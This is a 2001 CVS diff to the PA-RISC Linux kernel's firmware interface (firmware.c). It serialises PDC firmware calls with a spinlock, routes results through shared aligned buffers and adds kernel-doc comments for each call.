-static unsigned long pdc_result[32] __attribute__ ((aligned (16))) = {0,0,0,0};
-static  u8 iodc_data[32] __attribute__ ((aligned (64)));
-
-
 static int compare_spec( struct hp_device * hp_dev,
 	struct pa_iodc_driver *driver)
 {
@@ -153,10 +149,12 @@ int add_pa_dev_addr(struct hp_device *hp
 struct hp_device *alloc_pa_dev(unsigned long hpa)
 {
 	int i, status;
+	unsigned long bytecnt;
+	u8 iodc_data[32];
 	struct hp_device * d;
 
 	d = &pa_devices[num_devices];
-	status = pdc_iodc_read(&pdc_result, (void *)hpa, 0, &iodc_data, 32);
+	status = pdc_iodc_read(&bytecnt, (void *)hpa, 0, &iodc_data, 32);
 	if (status != PDC_RET_OK) {
 		/* There is no device here, so we'll skip it */
 		return NULL;
Index: arch/parisc/kernel/firmware.c
===================================================================
RCS file: /home/cvs/parisc/linux/arch/parisc/kernel/firmware.c,v
retrieving revision 1.25
diff -u -p -r1.25 firmware.c
--- firmware.c	2001/03/22 06:46:32	1.25
+++ firmware.c	2001/03/29 07:57:51
@@ -44,6 +44,36 @@
 
 #include <stdarg.h>
 
+static spinlock_t pdc_lock = SPIN_LOCK_UNLOCKED;
+static unsigned long pdc_result[32] __attribute__ ((aligned (8)));
+static unsigned long pdc_result2[32] __attribute__ ((aligned (8)));
+
+/* on all currently-supported platforms, IODC I/O calls are always
+ * 32-bit calls, and MEM_PDC calls are always the same width as the OS.
+ * This means Cxxx boxes can't run wide kernels right now. -PB
+ *
+ * CONFIG_PDC_NARROW has been added to allow 64-bit kernels to run on
+ * systems with 32-bit MEM_PDC calls. This will allow wide kernels to
+ * run on Cxxx boxes now. -RB
+ *
+ * Note that some PAT boxes may have 64-bit IODC I/O...
+ */
+
+/* yes 'int', not 'long' -- IODC I/O is always 32-bit stuff */
+#ifdef __LP64__
+static long real64_call(unsigned long function, ...);
+#endif
+static long real32_call(unsigned long function, ...);
+
+#if defined(__LP64__) && ! defined(CONFIG_PDC_NARROW)
+#define MEM_PDC (unsigned long)(PAGE0->mem_pdc_hi) << 32 | PAGE0->mem_pdc
+#   define mem_pdc_call(args...) real64_call(MEM_PDC, args)
+#else
+#define MEM_PDC (unsigned long)PAGE0->mem_pdc
+#   define mem_pdc_call(args...) real32_call(MEM_PDC, args)
+#endif
+
+
 #define ASSERT_ALIGN(ptr, align)					\
 	do { if(((unsigned long)(ptr)) & (align-1)) {			\
 		printk("PDC: %s:%d  %s() called with "	\
@@ -53,6 +83,13 @@
 		return -1;						\
 	} } while(0)
 	
+/**
+ * f_extend - Convert PDC addresses to kernel addresses.
+ * @address: Address returned from PDC.
+ *
+ * This function is used to convert PDC addresses into kernel addresses
+ * when the PDC address size and kernel address size are different.
+ */
 static unsigned long f_extend(unsigned long address)
 {
 #ifdef CONFIG_PDC_NARROW
@@ -65,6 +102,14 @@ static unsigned long f_extend(unsigned l
 	return address;
 }
 
+/**
+ * convert_to_wide - Convert the return buffer addresses into kernel addresses.
+ * @address: The return buffer from PDC.
+ *
+ * This fucntion is used to convert the return buffer addresses retrieve from PDC
+ * into kernel addresses when the PDC address size and kernel address size are
+ * different.
+ */
 static void convert_to_wide(unsigned long *addr)
 {
 #ifdef CONFIG_PDC_NARROW
@@ -75,268 +120,655 @@ static void convert_to_wide(unsigned lon
 #endif
 }
 
-/* verify address can be accessed without an HPMC */
+/**
+ * pdc_add_valid - Verify address can be accessesd without causing a HPMC.
+ * @address: Address to be verified.
+ *
+ * This PDC call attempts to read from the specified address and verify
+ * the address is valid.
+ */
 int pdc_add_valid(void *address)
 {
-	ASSERT_ALIGN(address, 4);
-	return mem_pdc_call(PDC_ADD_VALID, PDC_ADD_VALID_VERIFY, address);
-}
+        int retval;
 
-int pdc_chassis_disp(unsigned long disp)
+        spin_lock_irq(&pdc_lock);
+        retval = mem_pdc_call(PDC_ADD_VALID, PDC_ADD_VALID_VERIFY, address);
+        spin_unlock_irq(&pdc_lock);
+
+        return retval;
+}
+
+/**
+ * pdc_chassis_info - Return chassis information.
+ * @result: The return buffer.
+ * @chassis_info: The memory buffer address.
+ * @len: The size of the memory buffer address.
+ *
+ * An HVERSION dependent call for returning the chassis information.
+ */
+int pdc_chassis_info(struct pdc_chassis_info *chassis_info, void *led_info, unsigned long len)
 {
-	return mem_pdc_call(PDC_CHASSIS, PDC_CHASSIS_DISP, disp);
-}
+        int retval;
+
+        spin_lock_irq(&pdc_lock);
+        retval = mem_pdc_call(PDC_CHASSIS, PDC_RETURN_CHASSIS_INFO,
+                              __pa(pdc_result), __pa(pdc_result2), len);
+	memcpy(chassis_info, pdc_result, sizeof(*chassis_info));
+	memcpy(led_info, pdc_result2, sizeof(*led_info));
+        spin_unlock_irq(&pdc_lock);
+
+        return retval;
+}
+
+/**
+ * pdc_coproc_cfg - To identify coprocessors attached to the processor.
+ * @pdc_coproc_info: Return buffer address.
+ *
+ * This PDC call returns the presence and status of all the coprocessors
+ * attached to the processor.
+ */
+int pdc_coproc_cfg(struct pdc_coproc_cfg *pdc_coproc_info)
+{
+        int retval;
 
-int pdc_chassis_info(void *pdc_result, void *chassis_info, unsigned long len)
+        spin_lock_irq(&pdc_lock);
+        retval = mem_pdc_call(PDC_COPROC, PDC_COPROC_CFG, __pa(pdc_result));
+        convert_to_wide(pdc_result);
+        pdc_coproc_info->ccr_functional = pdc_result[0];
+        pdc_coproc_info->ccr_present = pdc_result[1];
+        pdc_coproc_info->revision = pdc_result[17];
+        pdc_coproc_info->model = pdc_result[18];
+        spin_unlock_irq(&pdc_lock);
+
+        return retval;
+}
+
+/**
+ * pdc_iodc_read - Read data from the modules IODC.
+ * @actcnt: The actual number of bytes.
+ * @hpa: The HPA of the module for the iodc read.
+ * @index: The iodc entry point.
+ * @iodc_data: A buffer memory for the iodc options.
+ * @iodc_data_size: Size of the memory buffer.
+ *
+ * This PDC call reads from the IODC of the module specified by the hpa
+ * argument.
+ */
+int pdc_iodc_read(unsigned long *actcnt, void *hpa, unsigned int index,
+		  void *iodc_data, unsigned int iodc_data_size)
 {
 	int retval;
 
-	ASSERT_ALIGN(pdc_result, 4);
-	ASSERT_ALIGN(chassis_info, 4);
-	retval = mem_pdc_call(PDC_CHASSIS, PDC_RETURN_CHASSIS_INFO,
-			      __pa(pdc_result), __pa(chassis_info), len);
+	spin_lock_irq(&pdc_lock);
+	retval = mem_pdc_call(PDC_IODC, PDC_IODC_READ, __pa(pdc_result), hpa, 
+			      index, __pa(pdc_result2), iodc_data_size);
 	convert_to_wide(pdc_result);
+	*actcnt = pdc_result[0];
+	memcpy(iodc_data, pdc_result2, iodc_data_size);
+	spin_unlock_irq(&pdc_lock);
+
 	return retval;
 }
 
-int pdc_hpa_processor(struct pdc_hpa *address)
+/**
+ * pdc_system_map_find_mods - Locate unarchitected modules.
+ * @pdc_mod_info: Return buffer address.
+ * @mod_path: pointer to dev path structure.
+ * @mod_index: fixed address module index.
+ *
+ * To locate and identify modules which reside at fixed I/O addresses, which
+ * do not self-identify via architected bus walks.
+ */
+int pdc_system_map_find_mods(struct pdc_system_map_mod_info *pdc_mod_info,
+			     struct pdc_module_path *mod_path, long mod_index)
 {
 	int retval;
+
+	spin_lock_irq(&pdc_lock);
+	retval = mem_pdc_call(PDC_SYSTEM_MAP, PDC_FIND_MODULE, __pa(pdc_result), 
+			      __pa(pdc_result2), mod_index);
+	convert_to_wide(pdc_result);
+	memcpy(pdc_mod_info, pdc_result, sizeof(*pdc_mod_info));
+	memcpy(mod_path, pdc_result2, sizeof(*mod_path));
+	spin_unlock_irq(&pdc_lock);
 
-	/* We're using 0 for the last parameter just to make sure.
-	   It's actually HVERSION dependant.  And remember, life is
-	   hard without a backspace. */
-	ASSERT_ALIGN(address, 4);
-	retval = mem_pdc_call(PDC_HPA, PDC_HPA_PROCESSOR, __pa(address), 0);
-	convert_to_wide((unsigned long *)address);
-	address->hpa = f_extend(address->hpa);
+	pdc_mod_info->mod_addr = (void *)f_extend((unsigned long)pdc_mod_info->mod_addr);
 	return retval;
 }
 
-int pdc_coproc_cfg(void *address)
+/**
+ * pdc_system_map_find_addrs - Retrieve additional address ranges.
+ * @pdc_addr_info: Return buffer address.
+ * @mod_index: Fixed address module index.
+ * @addr_index: Address range index.
+ * 
+ * Retrieve additional information about subsequent address ranges for modules
+ * with multiple address ranges.  
+ */
+int pdc_system_map_find_addrs(struct pdc_system_map_addr_info *pdc_addr_info, 
+			      long mod_index, long addr_index)
 {
 	int retval;
+
+	spin_lock_irq(&pdc_lock);
+	retval = mem_pdc_call(PDC_SYSTEM_MAP, PDC_FIND_ADDRESS, __pa(pdc_result),
+			      mod_index, addr_index);
+	convert_to_wide(pdc_result);
+	memcpy(pdc_addr_info, pdc_result, sizeof(*pdc_addr_info));
+	spin_unlock_irq(&pdc_lock);
 
-	ASSERT_ALIGN(address, 4);
-	retval = mem_pdc_call(PDC_COPROC, PDC_COPROC_CFG, __pa(address));
-	convert_to_wide(address);
+	pdc_addr_info->mod_addr = (void *)f_extend((unsigned long)pdc_addr_info->mod_addr);
 	return retval;
 }
-
 
-int pdc_iodc_read(void *address, void *hpa, unsigned int index,
-		  void *iodc_data, unsigned int iodc_data_size)
+/**
+ * pdc_model_info - Return model information about the processor.
+ * @model: The return buffer.
+ *
+ * Returns the version numbers, identifiers, and capabilities from the processor module.
+ */
+int pdc_model_info(struct pdc_model *model) 
 {
 	int retval;
+
+	spin_lock_irq(&pdc_lock);
+	retval = mem_pdc_call(PDC_MODEL, PDC_MODEL_INFO, __pa(pdc_result), 0);
+	convert_to_wide(pdc_result);
+	memcpy(model, pdc_result, sizeof(*model));
+	spin_unlock_irq(&pdc_lock);
 
-	ASSERT_ALIGN(address, 4);
-	ASSERT_ALIGN(hpa, 4);
-	ASSERT_ALIGN(iodc_data, 4);
-	retval = mem_pdc_call(PDC_IODC, PDC_IODC_READ, __pa(address), hpa, 
-			      index, __pa(iodc_data), iodc_data_size);
-	convert_to_wide(address);
 	return retval;
 }
 
-int pdc_system_map_find_mods(struct pdc_system_map_mod_info *pdc_mod_info,
-			     struct pdc_module_path *mod_path, long mod_index)
+/**
+ * pdc_model_sysmodel - Get the system model name.
+ * @name: A char array of at least 81 characters.
+ *
+ * Get system model name from PDC ROM (e.g. 9000/715 or 9000/778/B160L)
+ */
+int pdc_model_sysmodel(char *name)
 {
-	int retval;
+        int retval;
 
-	ASSERT_ALIGN(pdc_mod_info, 8);
-	ASSERT_ALIGN(mod_path, 8);
-	retval = mem_pdc_call(PDC_SYSTEM_MAP, PDC_FIND_MODULE, __pa(pdc_mod_info), 
-			      __pa(mod_path), mod_index);
-	convert_to_wide((unsigned long *)pdc_mod_info);
-	pdc_mod_info->mod_addr = (void *)f_extend((unsigned long)pdc_mod_info->mod_addr);
-	return retval;
+        spin_lock_irq(&pdc_lock);
+        retval = mem_pdc_call(PDC_MODEL, PDC_MODEL_SYSMODEL, __pa(pdc_result),
+                              OS_ID_HPUX, __pa(name));
+        convert_to_wide(pdc_result);
+
+        if (retval == PDC_RET_OK) {
+                name[pdc_result[0]] = '\0'; /* add trailing '\0' */
+        } else {
+                name[0] = 0;
+        }
+        spin_unlock_irq(&pdc_lock);
+
+        return retval;
+}
+
+/**
+ * pdc_model_versions - Identify the version number of each processor.
+ * @cpu_id: The return buffer.
+ * @id: The id of the processor to check.
+ *
+ * Returns the version number for each processor component.
+ *
+ * This comment was here before, but I do not know what it means :( -RB
+ * id: 0 = cpu revision, 1 = boot-rom-version
+ */
+int pdc_model_versions(unsigned long *versions, int id)
+{
+        int retval;
+
+        spin_lock_irq(&pdc_lock);
+        retval = mem_pdc_call(PDC_MODEL, PDC_MODEL_VERSIONS, __pa(pdc_result), id);
+        convert_to_wide(pdc_result);
+        *versions = pdc_result[0];
+        spin_unlock_irq(&pdc_lock);
+
+        return retval;
 }
 
-int pdc_system_map_find_addrs(struct pdc_system_map_addr_info *pdc_addr_info, 
-			      long mod_index, long addr_index)
+/**
+ * pdc_model_cpuid - Returns the CPU_ID.
+ * @cpu_id: The return buffer.
+ *
+ * Returns the CPU_ID value which uniquely identifies the cpu portion of
+ * the processor module.
+ */
+int pdc_model_cpuid(unsigned long *cpu_id)
 {
-	int retval;
+        int retval;
 
-	ASSERT_ALIGN(pdc_addr_info, 8);
-	retval = mem_pdc_call(PDC_SYSTEM_MAP, PDC_FIND_ADDRESS, __pa(pdc_addr_info), 
-			      mod_index, addr_index);
-	convert_to_wide((unsigned long *)pdc_addr_info);
-	pdc_addr_info->mod_addr = (void *)f_extend((unsigned long)pdc_addr_info->mod_addr);
-	return retval;
+        spin_lock_irq(&pdc_lock);
+        pdc_result[0] = 0; /* preset zero (call may not be implimented!) */
+        retval = mem_pdc_call(PDC_MODEL, PDC_MODEL_CPU_ID, __pa(pdc_result), 0);
+        convert_to_wide(pdc_result);
+        *cpu_id = pdc_result[0];
+        spin_unlock_irq(&pdc_lock);
+
+        return retval;
 }
 
+/**
+ * pdc_cache_info - Return cache and TLB information.
+ * @cache_info: The return buffer.
+ *
+ * Returns information about the processor's cache and TLB.
+ */
+int pdc_cache_info(struct pdc_cache_info *cache_info)
+{
+        int retval;
+
+        spin_lock_irq(&pdc_lock);
+        retval = mem_pdc_call(PDC_CACHE, PDC_CACHE_INFO, __pa(pdc_result), 0);
+        convert_to_wide(pdc_result);
+        memcpy(cache_info, pdc_result, sizeof(*cache_info));
+        spin_unlock_irq(&pdc_lock);
 
-int pdc_model_info(struct pdc_model *model) 
+        return retval;
+}
+
+#ifndef CONFIG_PA20
+/**
+ * pdc_btlb_info - Return block TLB information.
+ * @btlb: The return buffer.
+ *
+ * Returns information about the hardware Block TLB.
+ */
+int pdc_btlb_info(struct pdc_btlb_info *btlb) 
 {
-	int retval;
+        int retval;
 
-	ASSERT_ALIGN(model, 8);
-	retval = mem_pdc_call(PDC_MODEL, PDC_MODEL_INFO, __pa(model), 0);
-	convert_to_wide((unsigned long *)model);
-	return retval;
+        spin_lock_irq(&pdc_lock);
+        retval = mem_pdc_call(PDC_BLOCK_TLB, PDC_BTLB_INFO, __pa(pdc_result), 0);
+        memcpy(btlb, pdc_result, sizeof(*btlb));
+        spin_unlock_irq(&pdc_lock);
+
+        if(retval < 0) {
+                btlb->max_size = 0;
+        }
+        return retval;
 }
+#endif
 
-/* get system model name from PDC ROM (e.g. 9000/715 or 9000/778/B160L) */ 
-int pdc_model_sysmodel(char *name)
+#ifndef __LP64__
+/**
+ * pdc_mem_map_hpa - Find fixed module information.  
+ * @address: The return buffer
+ * @mod_path: pointer to dev path structure.
+ *
+ * This call was developed for S700 workstations to allow the kernel to find
+ * the I/O devices (Core I/O). In the future (Kittyhawk and beyond) this
+ * call will be replaced (on workstations) by the architected PDC_SYSTEM_MAP
+ * call.
+ *
+ * This call is supported by all existing S700 workstations (up to  Gecko).
+ */
+int pdc_mem_map_hpa(struct pdc_memory_map *address, struct pdc_module_path *mod_path)
 {
-	int retval;
-	struct pdc_model_sysmodel sys_model;
-	
-	ASSERT_ALIGN(name, 4);
-	sys_model.mod_len = 0;
-	retval = mem_pdc_call(PDC_MODEL, PDC_MODEL_SYSMODEL, __pa(&sys_model), 
-			      OS_ID_HPUX,__pa(name));
-	convert_to_wide((unsigned long *)&sys_model);
-
-	if (retval == PDC_RET_OK) {
-		name[sys_model.mod_len] = '\0'; /* add trailing '\0' */
-	} else {
-		name[0] = 0;
-	}	
-	return retval;
+        int retval;
+
+        spin_lock_irq(&pdc_lock);
+        memcpy(pdc_result2, mod_path, sizeof(*mod_path));
+        retval = mem_pdc_call(PDC_MEM_MAP, PDC_MEM_MAP_HPA, __pa(pdc_result), __pa(pdc_result2));
+        memcpy(address, pdc_result, sizeof(*address));
+        spin_unlock_irq(&pdc_lock);
+
+        return retval;
 }
+#endif
+
+/**
+ * pdc_lan_station_id - Get the LAN address.
+ * @lan_addr: The return buffer.
+ * @net_hpa: The network device HPA.
+ *
+ * Get the LAN station address when it is not directly available from the LAN hardware.
+ */
+int pdc_lan_station_id(char *lan_addr, void *net_hpa)
+{
+        int retval;
+	unsigned int ret[2];
 
-/* id: 0 = cpu revision, 1 = boot-rom-version */
-int pdc_model_versions(struct pdc_model_cpuid *cpu_id, int id) 
+        spin_lock_irq(&pdc_lock);
+        retval = mem_pdc_call(PDC_LAN_STATION_ID, PDC_LAN_STATION_ID_READ,
+                              __pa(pdc_result), net_hpa);
+        if(retval < 0) {
+                /* FIXME: else read MAC from NVRAM */
+                memset(lan_addr, 0, PDC_LAN_STATION_ID_SIZE);
+        } else {
+		ret[0] = (unsigned int)pdc_result[0];
+		ret[1] = (unsigned int)pdc_result[1];
+		memcpy(lan_addr, ret, PDC_LAN_STATION_ID_SIZE);
+        }
+        spin_unlock_irq(&pdc_lock);
+
+        return retval;
+}
+
+/**
+ * pdc_pci_irt_size - Get the number of entries in the interrupt routing table.
+ * @num_entries: The return value.
+ * @hpa: The HPA for the device.
+ *
+ * This PDC function returns the number of entries in the specified cell's
+ * interrupt table.
+ * Similar to PDC_PAT stuff - but added for Forte/Allegro boxes
+ */ 
+int pdc_pci_irt_size(unsigned long *num_entries, void *hpa)
 {
 	int retval;
-	
-	ASSERT_ALIGN(cpu_id, 8);
-	retval = mem_pdc_call(PDC_MODEL, PDC_MODEL_VERSIONS, __pa(cpu_id), id);
-	convert_to_wide((unsigned long *)cpu_id);
+
+	spin_lock_irq(&pdc_lock);
+	retval = mem_pdc_call(PDC_PCI_INDEX, PDC_PCI_GET_INT_TBL_SIZE, 
+			      __pa(pdc_result), hpa);
+	convert_to_wide(pdc_result);
+	*num_entries = pdc_result[0];
+	spin_unlock_irq(&pdc_lock);
+
 	return retval;
 }
 
-int pdc_model_cpuid(struct pdc_model_cpuid *cpu_id) 
+/** 
+ * pdc_pci_irt - Get the PCI interrupt routing table.
+ * @num_entries: The number of entries in the table.
+ * @hpa: The Hard Physical Address of the device.
+ * @tbl: 
+ *
+ * Get the PCI interrupt routing table for the device at the given HPA.
+ * Similar to PDC_PAT stuff - but added for Forte/Allegro boxes
+ */
+int pdc_pci_irt(unsigned long num_entries, void *hpa, void *tbl)
 {
 	int retval;
+
+	spin_lock_irq(&pdc_lock);
+	pdc_result[0] = num_entries;
+	retval = mem_pdc_call(PDC_PCI_INDEX, PDC_PCI_GET_INT_TBL, 
+			      __pa(pdc_result), hpa, __pa(tbl));
+	spin_unlock_irq(&pdc_lock);
 
-	ASSERT_ALIGN(cpu_id, 8);
-	cpu_id->cpuid = 0; /* preset zero (call maybe not implemented!) */
-	retval = mem_pdc_call(PDC_MODEL, PDC_MODEL_CPU_ID, __pa(cpu_id), 0);
-	convert_to_wide((unsigned long *)cpu_id);
 	return retval;
 }
 
-int pdc_cache_info(struct pdc_cache_info *cache_info) 
+/**
+ * pdc_tod_read - Read the Time-Of-Day clock.
+ * @tod: The return buffer:
+ *
+ * Read the Time-Of-Day clock
+ */
+int pdc_tod_read(struct pdc_tod *tod)
 {
-	int retval;
-	
-	ASSERT_ALIGN(cache_info, 8);
-	retval = mem_pdc_call(PDC_CACHE, PDC_CACHE_INFO, __pa(cache_info), 0);
-	convert_to_wide((unsigned long *)cache_info);
-	return retval;
+        int retval;
+
+        spin_lock_irq(&pdc_lock);
+        retval = mem_pdc_call(PDC_TOD, PDC_TOD_READ, __pa(pdc_result), 0);
+        convert_to_wide(pdc_result);
+        memcpy(tod, pdc_result, sizeof(*tod));
+        spin_unlock_irq(&pdc_lock);
+
+        return retval;
+}
+
+/**
+ * pdc_tod_set - Set the Time-Of-Day clock.
+ * @sec: The number of seconds since epoch.
+ * @usec: The number of micro seconds.
+ *
+ * Set the Time-Of-Day clock.
+ */ 
+int pdc_tod_set(unsigned long sec, unsigned long usec)
+{
+        int retval;
+
+        spin_lock_irq(&pdc_lock);
+        retval = mem_pdc_call(PDC_TOD, PDC_TOD_WRITE, sec, usec);
+        spin_unlock_irq(&pdc_lock);
+
+        return retval;
 }
 
-#ifndef __LP64__
-int pdc_btlb_info(struct pdc_btlb_info *btlb) 
+#ifdef __LP64__
+int pdc_mem_mem_table(struct pdc_memory_table_raddr *r_addr, struct pdc_memory_table *tbl, 
+		      unsigned long entries)
 {
 	int retval;
 
-	ASSERT_ALIGN(btlb, 8);
-	retval = mem_pdc_call(PDC_BLOCK_TLB, PDC_BTLB_INFO, __pa(btlb), 0);
-	convert_to_wide((unsigned long *)btlb);
+	spin_lock_irq(&pdc_lock);
+	retval = mem_pdc_call(PDC_MEM, PDC_MEM_TABLE, __pa(pdc_result), __pa(pdc_result2), entries);
+	convert_to_wide(pdc_result);
+	memcpy(r_addr, pdc_result, sizeof(*r_addr));
+	memcpy(tbl, pdc_result2, entries * sizeof(*tbl));
+	spin_unlock_irq(&pdc_lock);
 
-	if(retval < 0) {
-		btlb->max_size = 0;
-	}
 	return retval;
 }
+#endif
 
-int pdc_mem_map_hpa(struct pdc_memory_map *r_addr, struct pdc_module_path *mod_path) 
+/* FIXME: Is this pdc used?  I could not find type reference to ftc_bitmap
+ * so I guessed at unsigned long.  Someone who knows what this does, can fix
+ * it later. :)
+ */
+int pdc_do_firm_test_reset(unsigned long ftc_bitmap)
 {
-	int retval;
+        int retval;
 
-	ASSERT_ALIGN(r_addr, 8);
-	ASSERT_ALIGN(mod_path, 8);
-	retval = mem_pdc_call(PDC_MEM_MAP, PDC_MEM_MAP_HPA, __pa(r_addr), __pa(mod_path));
-	convert_to_wide((unsigned long *)r_addr);
-	return retval;
+        spin_lock_irq(&pdc_lock);
+        retval = mem_pdc_call(PDC_BROADCAST_RESET, PDC_DO_FIRM_TEST_RESET,
+                              PDC_FIRM_TEST_MAGIC, ftc_bitmap);
+        spin_unlock_irq(&pdc_lock);
+
+        return retval;
 }
 
-int pdc_lan_station_id(char *lan_addr, void *net_hpa) 
+/*
+ * pdc_do_reset - Reset the system.
+ *
+ * Reset the system.
+ */
+int pdc_do_reset()
 {
-	int retval;
-	unsigned char *addr;
-	struct pdc_lan_station_id id;
-	
-	ASSERT_ALIGN(lan_addr, 4);
-	ASSERT_ALIGN(net_hpa, 4);
-	retval = mem_pdc_call(PDC_LAN_STATION_ID, PDC_LAN_STATION_ID_READ, __pa(&id), net_hpa);
-	convert_to_wide((unsigned long *)&id);
-
-	if(retval < 0) {
-		addr = 0;	/* FIXME: else read MAC from NVRAM */
-	} else {
-		addr = id.addr;
-	}
+        int retval;
 
-	if(addr) {
-		memmove(lan_addr, addr, PDC_LAN_STATION_ID_SIZE);
-	} else {
-		memset(lan_addr, 0, PDC_LAN_STATION_ID_SIZE);
-	}
-	return (addr != 0);
+        spin_lock_irq(&pdc_lock);
+        retval = mem_pdc_call(PDC_BROADCAST_RESET, PDC_DO_RESET);
+        spin_unlock_irq(&pdc_lock);
+
+        return retval;
 }
-#endif
 
+/**
+ * iodc_iodc_putc - Console character print using IODC.
+ * @c: the character to output.
+ *
+ * Note that only these special chars are architected for console IODC io:
+ * BEL, BS, CR, and LF. Others are passed through.
+ * Since the HP console requires CR+LF to perform a 'newline', we translate
+ * "\n" to "\r\n".
+ */
+void pdc_iodc_putc(unsigned char c)
+{
+        /* XXX Should we spinlock posx usage */
+        static int posx;        /* for simple TAB-Simulation... */
+        static int __attribute__((aligned(8)))   iodc_retbuf[32];
+        static char __attribute__((aligned(64))) iodc_dbuf[4096];
+        unsigned int n;
+
+        switch (c) {
+        case '\n':
+                iodc_dbuf[0] = '\r';
+                iodc_dbuf[1] = '\n';
+                n = 2;
+                posx = 0;
+                break;
+        case '\t':
+                pdc_iodc_putc(' ');
+                while (posx & 7)        /* expand TAB */
+                        pdc_iodc_putc(' ');
+                return;         /* return since IODC can't handle this */
+        case '\b':
+                posx-=2;                /* BS */
+        default:
+                iodc_dbuf[0] = c;
+                n = 1;
+                posx++;
+                break;
+        }
+
+        spin_lock_irq(&pdc_lock);
+        real32_call(PAGE0->mem_cons.iodc_io,
+                    (unsigned long)PAGE0->mem_cons.hpa, ENTRY_IO_COUT,
+                    PAGE0->mem_cons.spa, __pa(PAGE0->mem_cons.dp.layers),
+                    __pa(iodc_retbuf), 0, __pa(iodc_dbuf), n, 0);
+        spin_unlock_irq(&pdc_lock);
+}
+
+int pdc_sti_call(unsigned long func, unsigned long flags,
+                 unsigned long inptr, unsigned long outputr,
+                 unsigned long glob_cfg)
+{
+        int retval;
+
+        spin_lock_irq(&pdc_lock);  
+        retval = real32_call(func, flags, inptr, outputr, glob_cfg);
+        spin_unlock_irq(&pdc_lock);
+
+        return retval;
+}
 
-/* Similar to PDC_PAT stuff in pdcpat.c - but added for Forte/Allegro boxes */
-int pdc_pci_irt_size(void *r_addr, void *hpa)
+#ifdef __LP64__
+/**
+ * pdc_pat_cell_get_number - Returns the cell number.
+ * @cell_info: The return buffer.
+ *
+ * This PDC call returns the cell number of the cell from which the call
+ * is made.
+ */
+int pdc_pat_cell_get_number(struct pdc_pat_cell_num *cell_info)
 {
 	int retval;
 
-	ASSERT_ALIGN(r_addr, 4);
-	ASSERT_ALIGN(hpa, 4);
-	retval = mem_pdc_call(PDC_PCI_INDEX, PDC_PCI_GET_INT_TBL_SIZE, __pa(r_addr), hpa);
-	convert_to_wide(r_addr);
+	spin_lock_irq(&pdc_lock);
+	retval = mem_pdc_call(PDC_PAT_CELL, PDC_PAT_CELL_GET_NUMBER, __pa(pdc_result));
+	memcpy(cell_info, pdc_result, sizeof(*cell_info));
+	spin_unlock_irq(&pdc_lock);
+
 	return retval;
 }
 
-int pdc_pci_irt(void *r_addr, void *hpa, void *tbl)
+/**
+ * pdc_pat_cell_module - Retrieve the cell's module information.
+ * @actcnt: The number of bytes written to mem_addr.
+ * @ploc: The physical location.
+ * @mod: The module index.
+ * @view_type: The view of the address type.
+ * @mem_addr: The return buffer.
+ *
+ * This PDC call returns information about each module attached to the cell
+ * at the specified location.
+ */
+int pdc_pat_cell_module(unsigned long *actcnt, unsigned long ploc, unsigned long mod,
+			unsigned long view_type, void *mem_addr)
 {
 	int retval;
 
-	ASSERT_ALIGN(r_addr, 4);
-	ASSERT_ALIGN(hpa, 4);
-	ASSERT_ALIGN(tbl, 4);
-	retval = mem_pdc_call(PDC_PCI_INDEX, PDC_PCI_GET_INT_TBL, __pa(r_addr), hpa, __pa(tbl));
-	convert_to_wide(r_addr);
+	spin_lock_irq(&pdc_lock);
+	retval = mem_pdc_call(PDC_PAT_CELL, PDC_PAT_CELL_MODULE, __pa(pdc_result), 
+			      ploc, mod, view_type, __pa(pdc_result2));
+	if(!retval) {
+		*actcnt = pdc_result[0];
+		memcpy(mem_addr, pdc_result2, *actcnt);
+	}
+	spin_unlock_irq(&pdc_lock);
+
 	return retval;
 }
 
-/* access the TOD clock */
-int pdc_tod_read(struct pdc_tod *tod)
+/**
+ * pdc_pat_cpu_get_number - Retrieve the cpu number.
+ * @cpu_info: The return buffer.
+ * @hpa: The Hard Physical Address of the CPU.
+ *
+ * Retrieve the cpu number for the cpu at the specified HPA.
+ */
+int pdc_pat_cpu_get_number(struct pdc_pat_cpu_num *cpu_info, void *hpa)
 {
 	int retval;
+
+	spin_lock_irq(&pdc_lock);
+	retval = mem_pdc_call(PDC_PAT_CPU, PDC_PAT_CPU_GET_NUMBER,
+			      __pa(&pdc_result), hpa);
+	memcpy(cpu_info, pdc_result, sizeof(*cpu_info));
+	spin_unlock_irq(&pdc_lock);
 
-	ASSERT_ALIGN(tod, 8);
-	retval = mem_pdc_call(PDC_TOD, PDC_TOD_READ, __pa(tod), 0);
-	convert_to_wide((unsigned long *)tod);
 	return retval;
 }
 
-int pdc_tod_set(unsigned long sec, unsigned long usec)
+/**
+ * pdc_pat_get_irt_size - Retrieve the number of entries in the cell's interrupt table.
+ * @num_entries: The return value.
+ * @cell_num: The target cell.
+ *
+ * This PDC function returns the number of entries in the specified cell's
+ * interrupt table.
+ */
+int pdc_pat_get_irt_size(unsigned long *num_entries, unsigned long cell_num)
+{
+	int retval;
+
+	spin_lock_irq(&pdc_lock);
+	retval = mem_pdc_call(PDC_PAT_IO, PDC_PAT_IO_GET_PCI_ROUTING_TABLE_SIZE,
+			      __pa(pdc_result), cell_num);
+	*num_entries = pdc_result[0];
+	spin_unlock_irq(&pdc_lock);
+
+	return retval;
+}
+
+/**
+ * pdc_pat_get_irt - Retrieve the cell's interrupt table.
+ * @r_addr: The return buffer.
+ * @cell_num: The target cell.
+ *
+ * This PDC functin returns the actual interrupt table for the specified cell.
+ */
+int pdc_pat_get_irt(void *r_addr, unsigned long cell_num)
 {
-	return mem_pdc_call(PDC_TOD, PDC_TOD_WRITE, sec, usec);
+	int retval;
+
+	spin_lock_irq(&pdc_lock);
+	retval = mem_pdc_call(PDC_PAT_IO, PDC_PAT_IO_GET_PCI_ROUTING_TABLE,
+			      __pa(r_addr), cell_num);
+	spin_unlock_irq(&pdc_lock);
+
+	return retval;
 }
 
-#ifdef __LP64__
-int pdc_mem_mem_table(void *r_addr, void *tbl, unsigned long entries)
+/**
+ * pdc_pat_pd_get_addr_map - Retrieve information about memory address ranges.
+ * @actlen: The return buffer.
+ * @mem_addr: Pointer to the memory buffer.
+ * @count: The number of bytes to read from the buffer.
+ * @offset: The offset with respect to the beginning of the buffer.
+ *
+ */
+int pdc_pat_pd_get_addr_map(unsigned long *actual_len, void *mem_addr, 
+			    unsigned long count, unsigned long offset)
 {
 	int retval;
+
+	spin_lock_irq(&pdc_lock);
+	retval = mem_pdc_call(PDC_PAT_PD, PDC_PAT_PD_GET_ADDR_MAP, __pa(pdc_result), 
+			      __pa(pdc_result2), count, offset);
+	*actual_len = pdc_result[0];
+	memcpy(mem_addr, pdc_result2, *actual_len);
+	spin_unlock_irq(&pdc_lock);
 
-	ASSERT_ALIGN(r_addr, 4);
-	ASSERT_ALIGN(tbl, 4);
